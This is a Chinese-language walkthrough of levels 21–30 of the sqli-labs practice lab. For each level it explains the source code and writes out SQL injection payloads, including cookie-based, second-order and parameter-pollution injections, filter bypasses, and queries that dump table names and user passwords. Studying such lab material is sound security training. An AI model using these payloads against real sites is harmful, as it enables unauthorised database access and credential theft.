sqli-labs(21-30)

人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头

前言

从 Less 18 开始修改 HTTP 头部信息的操作在 Firefox 浏览器的开发者工具也可以做。
sqli-labs(21-30)_第1张图片
sqli-labs(21-30)_第2张图片

环境准备

sublime(代码编辑器)
Firefox

Less 21

① 源码分析

用户输入被 check_input() 函数过滤
输入正常则产生cookie,并base64编码
获取cookie并进行数据库查询

sqli-labs(21-30)_第3张图片
sqli-labs(21-30)_第4张图片
sqli-labs(21-30)_第5张图片

② 漏洞利用

cookie 没有被过滤,可以利用
直接在 cookie 处构造 payload 进行注入
cookie 参数进行单引号+括号闭合
注意 cookie 先进行 base64 编码
  1. 提交正确的账号登录,发现 cookie 被 base64 编码
    sqli-labs(21-30)_第6张图片
  2. 构造 payload ,可以看到有数据回显位
uname = ') union select 1,2,3 #
uname = JykgdW5pb24gc2VsZWN0IDEsMiwzICM=

使用 Hack bar 自带的 base64 编码器编码
sqli-labs(21-30)_第7张图片
sqli-labs(21-30)_第8张图片

Less 22

① 源码分析

用户输入被 check_input() 过滤
直接获取 cookie,base64 解码,双引号引用,拼接 sql 语句进行数据库查询并返回数据

sqli-labs(21-30)_第9张图片
sqli-labs(21-30)_第10张图片

② 漏洞利用

随便数据用户参数
构造 cookie,双引号闭合,base64 编码之后进行注入

查看数据回显

uname = " union select 1,2,3 # 
uname = IiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==

sqli-labs(21-30)_第11张图片

Less 23

① 源码分析

get 注入
注释符"#" , "--" 被转义
参数单引号引用
有数据回显

sqli-labs(21-30)_第12张图片

② 漏洞利用

闭合单引号

1. 布尔注入判断第一步,有正常回显

?id= 1' and '1'='1  

sqli-labs(21-30)_第13张图片

2. 布尔注入判断第二步,信息不回显

?id= 1' and '1'='2

sqli-labs(21-30)_第14张图片

3. union 注入

3.1 查看数据回显

?id= ' union select 1,2,3  '

sqli-labs(21-30)_第15张图片

Less 24

① 源码分析

在登录界面登录之后数据传送到 login.php 处理
login.php 使用mysql_real_escape_string对参数中可能存在的特殊字符前添加反斜杠
传参正确后页面会重定向到 login_in.php 页面,该页面用于修改账号密码
输入要修改的密码之后页面会跳转到 pass_change.php 页面进行数据库的密码更新
login_create.php 用于创建一个新用户,并将新用户信息插入数据库中
  1. login.php
    sqli-labs(21-30)_第16张图片
  2. pass_change.php
    sqli-labs(21-30)_第17张图片
  3. login_create.php
    sqli-labs(21-30)_第18张图片

② 漏洞利用

漏洞点出现在 login_create.php 上
虽然有使用 mysql_escape_string() 在特殊字符前面添加一个反斜杠,但是在写入数
据库的时候反斜杠又被去除了
  1. 创建一个用户名为 admin’# 的账号
    sqli-labs(21-30)_第19张图片
    sqli-labs(21-30)_第20张图片
    sqli-labs(21-30)_第21张图片
  2. 使用 admin’# 进行登录,登录成功后修改密码,在 pass_change.php 的update 更新语句中相当于对管理员的账号 admin 进行修改密码。
    sqli-labs(21-30)_第22张图片
    sqli-labs(21-30)_第23张图片
    sqli-labs(21-30)_第24张图片
  3. 用管理员的账号进行登录
    sqli-labs(21-30)_第25张图片

Less 25

① 源码分析

输入参数被过滤(这里的正则不区分大小写)
单引号引用
有数据回显

sqli-labs(21-30)_第26张图片
sqli-labs(21-30)_第27张图片

② 漏洞利用

双写关键字绕过
闭合单引号
注释符要转换为URL编码 %23
  1. 数据回显
?id=0' union select 1,2,3 %23

sqli-labs(21-30)_第28张图片
2. 数据库信息

?id=0' union select 1,database(),version() %23

sqli-labs(21-30)_第29张图片
3. 爆表(ps:information 中的 or 字符会被过滤,所以也需要双写)

?id=0' union select 1,database(),(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security') %23

sqli-labs(21-30)_第30张图片
4. 爆列,爆数据就不赘述了。

Less 25a

源码分析

和 Less 25 一样的配方,只不过 SQL 语句在拼接参数的时候没有对参数进行单引号引用。

Less 26

将以下的字符转义为空:
or
and 
注释符:/**/--,#
空格
反斜杠

sqli-labs(21-30)_第31张图片

② 漏洞利用

关键字双写绕过
闭合单引号代替注释符
%a0 代替空格

1. 布尔注入判断

?id=1' %a0 aandnd %a0 '1'='1

sqli-labs(21-30)_第32张图片

2. 布尔注入判断

?id=1' %a0 aandnd %a0 '1'='2

sqli-labs(21-30)_第33张图片

3. union 注入

3.1 数字回显

?id=0' %a0 union %a0 select %a0 1,2,3 %a0 '

sqli-labs(21-30)_第34张图片
3.2 数据库信息

?id=0' %a0 union %a0 select %a0 1,database(),version() %a0 '

sqli-labs(21-30)_第35张图片
3.3 爆表(ps:information --> infoorrmation )

?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(table_name) %a0 from %a0 infoorrmation_schema.tables %a0 where %a0 table_schema='security') %a0 '

sqli-labs(21-30)_第36张图片
3.4 爆列(ps:information --> infoorrmation ; and --> aandnd)

?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(column_name) %a0 from %a0 infoorrmation_schema.columns %a0 where %a0 table_schema='security' %a0 aandnd %a0 table_name='users') %a0 '

sqli-labs(21-30)_第37张图片
3.5 爆数据(ps:information --> infoorrmation ; password --> passwoorrd)

?id=0' %a0 union %a0 select %a0 1,(select %a0 group_concat(passwoorrd) %a0 from %a0 security.users),(select %a0 group_concat(username) %a0 from %a0 security.users) %a0 '

sqli-labs(21-30)_第38张图片

Less 26a

① 源码分析

参数被过滤
单引号+括号引用参数

sqli-labs(21-30)_第39张图片

② 漏洞利用

单引号+括号闭合
其余步骤可参考 Less25

union 注入(数字回显)

?id= 0') %a0 union %a0 select %a0 1,2,3 %a0 aandnd %a0 ('1')=('1  

sqli-labs(21-30)_第40张图片

Less 27

① 源码分析

参数被单引号引用
被过滤的字符串有:
/**/
--
#
空格
unionselect(区分大小写)

sqli-labs(21-30)_第41张图片

② 漏洞利用

过滤的关键字可以用大小写/双写绕过
%a0代替空格
单引号闭合

union注入(数字回显)

?id= 0' %a0 UNion %a0 SElect %a0 1,2,3 %a0 '

sqli-labs(21-30)_第42张图片

Less 27a

源码分析

和 Less 27 的差不多,就是参数使用双引号引用,注意双引号闭合即可。

union 注入(数字回显)

?id= 0" %a0 UNion %a0 SElect %a0 1,2,3 %a0 "

sqli-labs(21-30)_第43张图片

Less 28

① 源码分析

。。。
单引号+括号引用参数
此番过滤的字符串更少

sqli-labs(21-30)_第44张图片

② 漏洞利用

注意单引号+括号闭合
剩余思路可以参考 Less26a

Less 28a

啊啊啊。。。。。。

sqli-labs(21-30)_第45张图片

Less 29

① 源码分析

index.php
这是一个普通 SQL 注入漏洞网页

sqli-labs(21-30)_第46张图片

login.php
该网页意在模拟两层服务器对参数的处理
参数先经过最外层的 tomcat 服务器处理(Java_implimenttation()和whitelist())
之后将处理后的参数传递给 apache 服务器处理($id = $_GET['id']

sqli-labs(21-30)_第47张图片

whitelist()
该函数意在使用正则表达式过滤除了数字之外的字符

sqli-labs(21-30)_第48张图片

java_implimentation()
该函数意为截取参数的第一个id值

sqli-labs(21-30)_第49张图片

② 漏洞利用

构造两个 id 值,用 & 连接
第一个为数字,第二个构造 payload 进行注入
注释符使用 URL 编码 %23

1. 当直接构造 payload 进行注入时

login.php?id= 0' union select 1,2,3 #

sqli-labs(21-30)_第50张图片

2. 使用两个 id 注入

login.php?id=1&id= 0' union select 1,2,3 %23

sqli-labs(21-30)_第51张图片

Less 30

源码分析

和 Less 29 一样,就是参数由双引号引用,注入时注意双引号闭合即可

                                                                                                                                  猪头
                                                                                                                            2020.1.21

你可能感兴趣的:(SQL注入)